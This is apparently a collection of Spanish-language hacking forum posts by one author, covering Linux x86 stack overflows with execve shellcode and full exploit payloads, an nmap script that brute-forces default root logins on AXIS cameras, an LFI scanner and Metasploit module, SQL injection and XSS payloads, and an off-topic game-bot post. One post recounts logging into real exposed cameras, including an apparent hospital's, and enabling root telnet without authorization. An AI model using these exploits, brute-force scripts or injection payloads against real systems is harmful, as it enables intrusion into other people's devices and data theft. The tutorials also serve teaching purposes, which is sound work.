NOPS*452+Shellcode(152)+NOPS*400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit



Logrando esquivar satisfactoriamente ASLR.
#12


En el anterior post No tienes permitido ver los links. Registrarse o Entrar a mi cuenta se hizo una pequeña introduccion al funcionamiento del stack y a los registros del procesador, ademas se logro modificar el flujo de datos de un programa para que atente a una funcion que no habia sido llamada.

En este nuevo apartado se vera como inyectar un shellcode en la memoria para lograr ejecutar codigo a travez del desbordamiento.

Para el poc se va a utlizar el mismo source que la vez pasada salvo que el buffer aumentara su tamaño a 500 bytes.
Seguimos lo mismos pasos que en el paper anterior.

Desactivamos ASLR

Código: bash
echo 0 > /proc/sys/kernel/randomize_va_space


y compilamos

Código: bash
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c


Abrimos gdb y arrancamos por pasarle 506 caracteres

Código: bash
run $(python -c 'print "\x41"*506')






Ya vemos como se va llenando el EIP

Agregamos 2 mas y lo terminamos de completar.

Código: bash
run $(python -c 'print "\x41"*508')





Ahora bien hasta aca todo perfecto, ahora tenemos que buscar donde poder incrustar el shellcode.

Un shellcode no es mas que un conjunto de instrucciones en ensamblador programado para una tarea especifica, el shellcode que se vera a continuacion nos dara una sesion sh en el sistema. Como dije anteriormente una vez que pasamos el tamaño limite del buffer, los datos comienzan a escribirse en los demas registros, entonces vamos a ver en que otro lugar se mandaron las A's, si le echamos una ojeada al registro ESP.

Código: bash
x/100x $esp


El anterior comando nos mostrara 100 direcciones dentro de ESP



Se puede ver que parte del buffer se ha inyectado al registro, perfect!
Ahora solamente tenenemos que buscar/generar un shellcode acorde a nuestra arquitectura y OS

Podriamos generarlo con metasploit, pero para este apartado voy a utilizar uno que encontre en shell-storm

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: text
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


El shellcode tiene un tamaño de 23 bytes por le que le restamos la long al buffer-4 bytes pertenecientes al EIP y lo incluimos dentro del payload

Quedando asi

508 NOPS - 4 bytes (EIP) =504

504 NOPS - 23 bytes (SHELLCODE) = 481 NOPS

Payload= \x90*481+shellcode(23)+EIP(4)

En este punto paso a explicar algo, por que reemplaze \x41 por \x90?

\x90 es un NOP (no operacion), un NOP es una instruccion en ensamblador que simplemente no hace nada y nos servira como puente al shellcode que se escribe despues de esta.

Ahora miremos como quedo el ESP luego de inyectar el payload, para esta ejecucion reemplaze el EIP por \x42=B.

Código: bash
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x42"*4')


Código: bash
x/100x $esp




En el recuadro verde vemos como se colaron los NOPS y en el rojo se ve como empieza a filtrarse el shellcode.

Ahora lo unico que tenemos que hacer es indicar en el EIP cualquier direccion de memoria en donde se hayan alojado los NOPS



Usaremos esta : 0xbffffc70

La invertimos, inyectamos y esperamos la shell!

Código: bash
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x70\xfc\xff\xbf"')




Hasta el momento se vio como explotar satisfactoriamente el desbordamiento, desactivando previamente ASLR para el proximo se vera una forma de bypassear ese sistema de seguridad. saludos!
#13
Bugs y Exploits / Desbordando el buffer en linux x86 (I)
Septiembre 07, 2014, 09:09:40 PM


Cada vez que corremos un proceso en la maquina, se crea una memoria virtual para dicho proceso, ese segmento se divide en 3 partes, el texto, los datos y por ultimo el stack, que es donde nos vamos a concentrar para realizar la explotacion de este tipo de vulnerabilidad.


Que es el stack?

El stack es un segmento en la memoria que se encarga de almacenar datos y a su vez recuperarlos, administra la informacion en modo LIFO (last in first out), quiere decir que el ultimo dato en entrar es el primero en salir, un ejemplo mas sencillo seria comparar el stack con una pila de cd's, en el que el primer cd hace de base de la pila y para llegar a el hay que retirar uno por uno los que se encuentran encima. Entonces cada vez que se ingresa un dato al stack se utiliza una instruccion denominada PUSH y cuando se retira un dato se llama a la instruccion POP, algo similar a un array.

Los registros del procesador.

El procesador cuenta con varios registros que cumplen diversas tareas en el stack, por el momento solo voy a mencionar a 3 de ellos.

EIP - Registro que almacena la direccion de memoria de la proxima funcion que se va a ejecutar.

ESP - Apunta a la parte superior del stack

EBP - Aputa a la base del stack


Ahora que ya se explicaron algunos conceptos basicos sobre el tema, vayamos al nudo del tutorial.


Que es un Buffer overflow?

Empezemos por definir que es un buffer, no es mas que un espacio de memoria en donde se vuelcan datos para determinada accion por ejemplo, tengo el siguiente programa en c.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

    char buffer[10];

    strcpy(buffer, argv[1]);

    printf(buffer);

    return 0;
}


Donde se define un buffer de 10 bytes, luego se lo pasa a la funcion strcpy que almacena en el buffer el argumento insertado por el usuario, esta misma no se encarga de controlar el tamaño limite del buffer por lo tanto si se introduce una mayor cantidad de caracteres,  el espacio desbordara y comenzara a sobrescribir los registros de memoria cercanos al buffer.

Antes que nada, vamos a desactivar ASLR

ASLR en criollo es un sistema de seguridad que vuelve aleatoria las direcciones de la memoria virtual.

Código: bash
echo 0 > /proc/sys/kernel/randomize_va_space


y compilaremos el prog con los siguientes flag de gcc.

Código: bash
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o prog prog.c


Para quitarle algunas protecciones al stack que le agrega gcc al compilar.

Probemos pasandole mas de 10 caracteres al programa.



Como se ve el programa crashea, veamos que pasa por dentro con gdb.

Código: bash
gdb prog


Le pasamos los argumentos

Código: bash
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


y una vez que el prog nos patee miramos en los registros a ver que encontramos?

Código: bash
info registers




Como se ve en la imagen, se sobrescribieron dos registros como EIP y EBP con x41, que representa el caracter A en hex.

Ahora por que crashea?, como explique anteriormente, el registro EIP contenia la direccion  de la proxima funcion a ejecutar, pero al ser sobreescrito con 4 A's, EIP termina apuntando a una direccion invalida.

Sabiendo que podemos inyectar en EIP, podriamos controlar el flujo del programa y mandarlo a la direccion que se nos ocurra.

Controlando el flujo de ejecucion.

Vamos con otro ejemplo pero un poco mas divertido.

Le agregue la funcion owned() al programa anterior, que lo unico que hace es imprimir un texto.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void owned(){
    printf("Owned :)");
}


int main(int argc, char *argv[]) {

    char buffer[10];

    strcpy(buffer, argv[1]);

    printf(buffer);

return 0;
}


Pero no vamos a llamarla en el code, sino que vamos a inyectarle la direccion de memoria de owned() al EIP para asi alterar la salida del prog.

Compilamos y abrimos con gdb.

Ahora tenemos que saber el punto exacto donde empieza a sobrescribirse EIP.

Le pasamos 14 A's - nada

Le pasamos 15 A's y se puede ver como empieza a infectarse el EIP



Como una direccion de memoria esta compuesta por 4 bytes le sumamos 3 y tenemos el EIP bien pintado con 18 A's.



Ahora solo nos queda averiguar la direccion donde la funcion owned() comienza a ser pusheada al stack, para esto vamos a desensamblarla

Código: bash
disas owned




Se ven las instrucciones del codigo ensamblador, la primera linea comienza a pushear la funcion asi que usaremos esa direccion de memoria: 0x08048408

Ahora que tenemos la direccion con la que editaremos el EIP, solo basta restar 4 A's e incluirla.

A*14 + 0x08048408

Voy a utlizar python para realizar la inyeccion. como se ve, se utiliza el escape \x para codificar los datos.



Pero si miramos la direccion a donde apunta el EIP vemos que esta al revez, esto pasa por que los procesadores Intel utilizan el sistema little-endian por lo tanto tendremos que invertir la direccion antes de ingresarla.



Y ahora si logramos ver la salida de la funcion owned.

Y si en vez de direccionar a una funcion, lograramos llegar hasta un shellcode alojado en la memoria?, eso se vera en el proximo tutorial, saludos!
#14


Hay veces en las que se me da por jugar con Shodan, realizando busqueda de routers, camaras IP u otros dispositivos, esta vez me puse a indagar las camaras AXIS que se encontraban en la red publica.

Simplemente poniedon AXIS en el buscador podemos encontrar unas cuantas disponibles, sin embargo la gran mayoria dispone de autentificacion HTTP Digest para acceder al panel (pero no todas) incluso muchas poseen passwords como el clasico 123456.



Entonces me puse a averiguar informacion de este tipo de camaras, que bien son dispositivos con Linux arm* embebido y otra cosa interesante es que el user por defecto es root, asi que me puse a probar intentos de logueo con root:123456, root:root, siempre a travez de las direcciones que me arrojaba shodan y me cruze con una gran cantidad de dispositivos que realmente estaban configurados con esas credenciales y es mas algunos ni siquiera tenian activado la autentificacion por http.

Me tope con algunas como estas:

Lo que pareciera ser un hospital.



Un pequeño local de electrodomesticos en Arabia Saudita



Una pancheria en Medellin Colombia.



Ahora que ya habia accedido al panel,  queria ver la forma de tomar el control del mini OS GNU.

Por empezar estos dispositivos cuentan con un servidor ftp configurado con las mismas credenciales que el http, pero por defecto el demonio telnet se encuentra desabilitado al inicio, pero esto no quita que pueda ser activado a travez del servidor web utilizando un editor de ficheros dentro de las opciones del sistema.



Solo basta con editar el fichero /etc/inittab y descomentar la linea:

Código: bash
#tnet:35:once:/usr/sbin/telnetd




Salvar los cambios, y reiniciar el dispositivo, esto podemos hacerlo mediante el panel.



O bien por ftp con el siguiente comando.

Código: bash
quote site reboot




Una vez iniciado el sistema seremos capaces de establecer una conexion por telnet como usuario root.



No quedando satisfecho con la pobre cantidad de camaras que me proveia shodan me dispuse a codear un NSE script para realizar sondeos con nmap y ver que me encontraba.

La manera de identificar estos juguetitos es mirando el banner que tira el ftp, una vez identificado, el script simplemente intenta loguearse como root, utilizando contraseñas debiles y ademas comprueba si el panel se encuentra protegido.

Código: perl
description = [[
Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
o sin autentificacion HTTP digest.
]]

author = "[Q]3rV[0]"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "auth"}

---
--
-- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
-- @output
--PORT   STATE SERVICE
--21/tcp open  ftp
--80/tcp open  http

--Host script results:
--| axis:
--|   Host = xxx.x.xxx.3
--|   Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
--|_  Auth = root:root
--
---


local http = require "http"
local ftp = require "ftp"
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

hostrule=function(host)
local http_port, ftp_port
http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
return false
end
ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
return false
end
return true
end

local out={}

local dic={'root', 123456, 1234}

local function data_out(out, message_banner, auth, host)
table.insert(out, string.format("Host = %s", host.ip))
table.insert(out, string.format("Version = %s", message_banner))
    table.insert(out, string.format("Auth = %s", auth))
    return stdnse.format_output(true, out)
end

local function http_auth(host)
local response=http.get(host, 80, '/view/viewer_index.shtml')
return response
end


action=function(host)
local socket=nmap.new_socket()
socket:connect(host, 21)
local buffer=stdnse.make_buffer(socket, "\r?\n")
local code, message_banner=ftp.read_reply(buffer)
if string.match(message_banner, "AXIS") then
local response=http_auth(host)
if response.status==401 or response.status==404 or response.status==403 then
for n,pass in ipairs(dic) do
socket:send("USER root\r\n")
local code, message=ftp.read_reply(buffer)
if code==331 then
socket:send("PASS "..pass.."\r\n")
end
local code, message=ftp.read_reply(buffer)
if message == "User logged in, proceed." then
return data_out(out, message_banner, 'root:'..pass, host)
end
end
else
return data_out(out, message_banner, 'HTTP Blank Auth :)', host)
end
return data_out(out, message_banner, 'Failed Auth :(', host)
end
end


Para terminar dejo una salida del script realizando un sondeo de prueba a la red xx.xxx.xx.x/24


#15
Bugs y Exploits / Escribiendo un auxiliar para MSF
Diciembre 10, 2013, 04:10:05 PM


La idea de comenzar a aprender ruby llego solo por el echo de poder ver en la consola del msf un auxiliar escrito por mi, la API de metasploit no es un muy complicadad de llevar y con solo unos dias de practica, y es mas, ya estando familiarizados con otros lenguajes similares como lo son python y perl la forma de tomar el control de ruby se hace mas llevadera que comenzar desde cero, por suspuesto no estoy diciendo que sean realmente identicos pero ambos lenguajes poseen ciertas caracteristicas como la sencilles de su sintaxis, entre otras.

Durante este tutorial se mostrara paso a paso como aderir nuestra herramienta escrita en ruby como modulo auxiliar de msf. Para ello programe un sencillo scanner de LFI.


Código: ruby
#Autor: [Q]3rV[0]

require 'net/http'
require 'uri'

def conn(vector)

  host=URI.parse(vector)

  return Net::HTTP.get(host)

end

def compr(data, vector)

        if data =~ /root:/
            puts "Parametro vulnerable a LFI -> #{vector}\n"
        else
            puts "Not Found -> #{vector}\n"

    end
end

def lfi(web, pb, file)

    a=0

    while a<pb
        a=a+1

        traversal="../"*a+file
        vector=web+traversal

        data=conn(vector)

        compr(data, vector)

end
end

lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")


Se le debera pasar como argumentos el parametro vulnerable y un numero que indicara la cantidad de '../'  que realizara la inyeccion.



Lo primero que haremos sera importar el modulo msf/core y crer una clase en la cual heredaremos los metodos de Msf::Auxiliary.
Código: ruby

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

end


Luego crearemos el metodo initialize que contendra dos funciones: super() y register_options().

Código: ruby
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super()

        register_options()
end

end


super() contendra la informacion de nuestro auxiliar, tales como la version, el nombre del autor, la descripcion del modulo, etc.

Código: ruby
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options()

end
end

Por otro lado register_options() contendra las opciones del auxiliar, y es donde definiremos los argumentos para luego setearlos desde msf.

La funcion tomara dos argumentos

Código: ruby
register_options([],self.class)


Dentro del array definiremos las opciones teniendo tipos como:

Código: ruby
OptInt.new() # Para valores enteros
OptString.new() # Para cadenas
OptAddress.new() # Para direcciones


En nuestro caso quedaria de la siguiente manera

Código: ruby
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']),
          OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end
end


Fijense la sintaxis de Optxxx
Código: ruby

OptString.new('RHOST',[true, 'Indique el target'])


Recibe dos argumentos, el primero indica el nombre del parametro, el segundo es un array que contiene como primer indice un valor boleano que indica si es prescindible definir esa variable, y el segundo indice contiene la descripcion de la opcion.

Bien, ahora pasemos a la parte donde hubicaremos el codigo del scanner.

Definiremos otro metodo llamado run() donde incluiremos el codigo.

Código: ruby
require 'msf/core'
require 'net/http'
require 'uri'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']), 
          OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end

    def run()

        def conn(vector)

host=URI.parse(vector)

return Net::HTTP.get(host)

end

def compr(data, vector)

if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"

end
end

def lfi(web, pb, file)

a=0

while a<pb
a=a+1

traversal="../"*a+file
vector=web+traversal

data=conn(vector)

compr(data, vector)

end
end

lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")   

end

end


Pero todavia falta el pasaje de los argumentos y eso lo haremos con datastore['PARAMETRO'], donde PARAMETRO seran los antes definidos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta()

Quedando finalizado nuestro modulo auxiliar para Msf.

Código: ruby
require 'msf/core'
require 'net/http'
require 'uri'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']),
   OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end

    def run()

        def conn(vector)

host=URI.parse(vector)

return Net::HTTP.get(host)

end

def compr(data, vector)

if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"

end
end

def lfi(web, pb, file)

a=0

while a<pb
a=a+1

traversal="../"*a+file
vector=web+traversal

data=conn(vector)

compr(data, vector)

end
end

lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd")
lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd%00")   

end

end


Para terminar agregaremos el auxiliar a msf, crearemos un direcotorio en /opt/metasploit/apps/pro/msf3/modules/auxiliary y copiaremos nuestro script dentro.

Luego accederemos a el.



#16
Off Topic / Contribuir con referrals para el ctf365
Noviembre 02, 2013, 06:26:18 PM
Armo este post para pedirles una mano con los referrals del ctf365, necesitamos como minimo 5 para acceder a la vpn del ctf, hemos registrado un team con el nombre de underc0de, solo tiene que seguir el siguiente enlace No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y registrarse en la web (el registro es corto y sencillo), simplemente le dan a la accion sign up, ingresan su mail, luego verifican que les haya llegado el mail para confirmar el acceso y por ultimo los va a llevar a una pagina de registro una vez que esten completamen registrados podran darnos  un referral siguiendo el siguiente link No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

desde ya muchas gracias a todos los que colaboren.

[Q]3rV[0]
#17
Python / Python Bots 1.0
Septiembre 16, 2013, 10:31:10 PM

Python Bots 1.0 es un juego de programacion en el cual deberemos crear desde 0 un bot utilizando el modulo gamefile del cual nos provee la aplicacion y lanzarlo a la batalla.

La API es muy sencilla de usar asi que paso a mostrarles algunas funciones que pueden usar para comenzar a construir sus propias maquinas.

Primero y antes que nada a descargar el juego.

DESCARGA: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El bot requiere de la creacion de las siguientes funciones:

Código: python
name()

startDirection()  #Opcional

color()

commands()

target_spotted(direction)




name() debera retornar el nombre de nuestro bot:



Código: python
def name():
    return "[Q]3rV[0]"



color() obviamente nos pinta la carroceria

el formato va de la siguiente manera (0,0,0) al (255,255,255)

Como yo lo quiero negro



Código: python
def color():
    return (0,0,0)



startDirection() es opcional y podremos indicarle en que posicion se encuntre le robot cuando el juego inicie.



Código: python
def startDirection():
    return 90



commands() Sobre esta funcion se definiran las acciones que realizara nuestro robot.



Código: python
gamefile.robotHealth() #Retorna el valor de la salud del robot entre 1-82
gamefile.move(frames) #Se movera determinada cantidad de cuadros
gamefile.stop(frames) #Se parara cada tantos frames
gamefile.fire() #Para realizar disparos
gamefile.turn_left(grados) #Para girar tantos grados a la izquierda
gamefile.turn_right(grados) #Para girar tantos grados a la derecha
gamefile.done() #Este metodo es necesario ya que indica el final de bucle para que las demas acciones puedan seguir repitiendose.
gamefile.spinradar(direction) #Seteamos la direccion en la que girara el radar "RIGHT" o "LEFT"
gamefile.lockradar(TEXT) #Podemos especificar 3 opciones ("GUN" "FREE" "BASE")




target_spotted(direction)

Con esta funcion manejaremos el radar de nuestro tanquesito. Cuando un blanco es detectado por este, la funcion es llamada.

gamefile.pointgun(direction)



Código: python
def target_spotted(direction):
    gamefile.pointgun(direction)




Para culminar les dejo el motor de un bot que arme, junto con un video de muestra.


Código: python
import gamefile

def name():
    return "[Q]3rV[0]"

def colour():
    return (0, 0, 0)

def commands():
    gamefile.spinradar("FREE")
    gamefile.lockradar("FREE")
    gamefile.move(200)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.move(300)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.done()
    if gamefile.robotHealth() < 41:
        gamefile.move(200)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.move(300)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.done()

def target_spotted(direction):
        gamefile.pointgun((direction)*1.4)
        gamefile.fire()
        gamefile.fire()
        gamefile.fire()



#18
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: xml
<b>q3rv0</b>


Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: mysql
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>


La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: mysql

mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'


Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: mysql

mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'


Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select extractvalue(1, concat(0x7e, version()))--







Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: xml
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>


La sintaxis de updatexml() es la siguiente:

Código: mysql
updatexml('cadena', 'xpath_expr', 'cadena actualizada')


Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: mysql
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>


Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: mysql

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>


Concatenamos y obtenemos el resultado completo.

Código: mysql
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql>






Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#19
No es necesario que un parametro trabaje con valores tipo "string" para incluir ficheros localmente, hay ciertos parametros que trabajan con funciones como include(), require(), etc pero lo hacen por medio de un valor entero,por ejemplo:

Tenemos la siguiente url:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La cual se encarga de mostrar cierto contenido dependiendo del valor que sea ingresado en el "id".En este caso el script realiza una sentencia en la base de datos para obtener el nombre del fichero, el cual luego sera pasado a include().
Código: php

$query=mysqli_query($conexion, "SELECT path FROM archivos WHERE id=".$_GET['id'].";");
$fichero=mysqli_fetch_array($query, MYSQLI_ASSOC);
include($fichero['path']);


Ahora vamos a un caso real.

La vulnerabilidad se da del lado del admin, al ingresar una comilla simple vemos el siguiente error.



El problema es que no podemos realizar un path traversal directamente por lo que se explicaba en lineas anteriores, pero si podriamos comprobar si el mismo parametro es vulnerable a inyeccion de comandos SQL.



Definitivamente si, y nos arroja la columna 3 la cual hace referencia a la seleccion de la ruta del archivo.

Entonces podriamos probar a inyecctar una sentencia para poder divisar cualquier fichero (siempre dentro de los limites) a nuestro antojo.

Veamos el fichero /etc/passwd.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select 1,2,0x2f6574632f706173737764,4,5--



Como dije anteriormente este parametro vulnerable se encuentra detras del panel de administracion, pero hay muchas veces en las que la reglas de un upload no pueden ser evadidas y hay que buscar otra manera de subir una shell, tranquilamente se podria explotar mediante una jpg file inclusion y proseguir con la intrusion.
#20
Hacking ShowOff / XSS speedy
Julio 14, 2013, 01:25:08 PM


Path vuln= No tienes permitido ver los links. Registrarse o Entrar a mi cuentaXSS-reflected

Vector= </script><script>alert(String.fromCharCode(91, 81, 93, 51, 114, 86, 91, 48, 93))</script>

Reportado=SI (hace un mes)
#21
Se que hay mas de un tutorial en el foro en el que se habla sobre como explotar este tipo de inyeccion, pero realmente no se ahonda en detalles. Simplemente se limitan a explicar de que trata el error "duplicate entry" y que es lo que hace el floor(rand()*2), posteriormente muestran la sentencias diciendo "pegue aqui", como de "memoria", hace bastante habia escrito uno, pero tambien habia dejado muchas cosas colgadas, la verdad que no pude encontrar
tutoriales en hispano que hagan un serio repaso de esta tecnica y disipen hasta la mas diminuta duda, no estoy diciendo que no hayan y bien explicados como el que escribio alguien No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, pero siempre quedan cositas en el tintero.

Comenzemos desde lo basico, explicando por que un script vulnerable debe exlpotarse de la siguiente manera

El siguiente script es vulnerable a sql injection.

Código: php
<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
    if (!$dumpeo) {
        echo mysql_error();
}
    elseif (!$dumpeo2) {
        echo mysql_error();
}
    else {
        echo "<b>Nick: ".$dumpeo['username']."</b><p>";
        echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>



Como podemos ver al buscar la cantidad de columnas que esta seleccionando la consulta nos responde con el siguiente mensaje.



Esto se debe a que el parametro id esta siendo usado en dos consultas diferentes seleccionando ambas distinto numero de columnas

Código: php
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";


Por lo tanto nunca vamos a dar con la cantidad justa, es por eso que hay que recurrir a otro metodo.


La siguiente consulta devela a travez del error de "entrada duplicada", el usuario que corre en la base de datos.


Código: text
http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--





Pero que es una entrada dulpicada, por que se produce?

Miremos el siguiente error:

Duplicate entry 'root@localhost0' for key 'group_key'

Nos centraremos en group_key o llave de grupo, el error se debe a que se hayo un mismo valor en la llave de grupo.

Antes que nada entendamos el termino de subquery.

Las subconsultas nos permiten optimizar tareas en la base de datos, un ejemplo sencillo, supongamos que queremos seleccionar campos de dos tablas distintas, por un lado tenemos la tabla users y por otro la tabla blogs, para obtener los datos en una sola sentencias seria de la siguiente manera:

Obviamente son usadas para realizar tareas mas elavoradas, como comparaciones entre distintos datos, etc

Código: mysql
mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1;
+----------+-------------------------+
| username | blog                    |
+----------+-------------------------+
| q3rv0    | http://underterminal.tk |
+----------+-------------------------+
1 row in set (0.00 sec)



Pero esto es para que se entienda el concepto de subquery.

Llamemos al vector para volverlo a analizar

Código: mysql

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--



Para lograr un mayor entendimiento y comprencion hay que ir hasta el zotano, por eso vamos a realizar analisis desde la propia db.


Les propongo que dividamos la doble consulta, y expongamos la primera.


Código: mysql
select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;



Por logica quedaria asi, por que?

Primero explicare un par de conceptos.

floor(rand()*2) : generara dos resultados "0" o "1" de manera aleatoria porque?.

Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
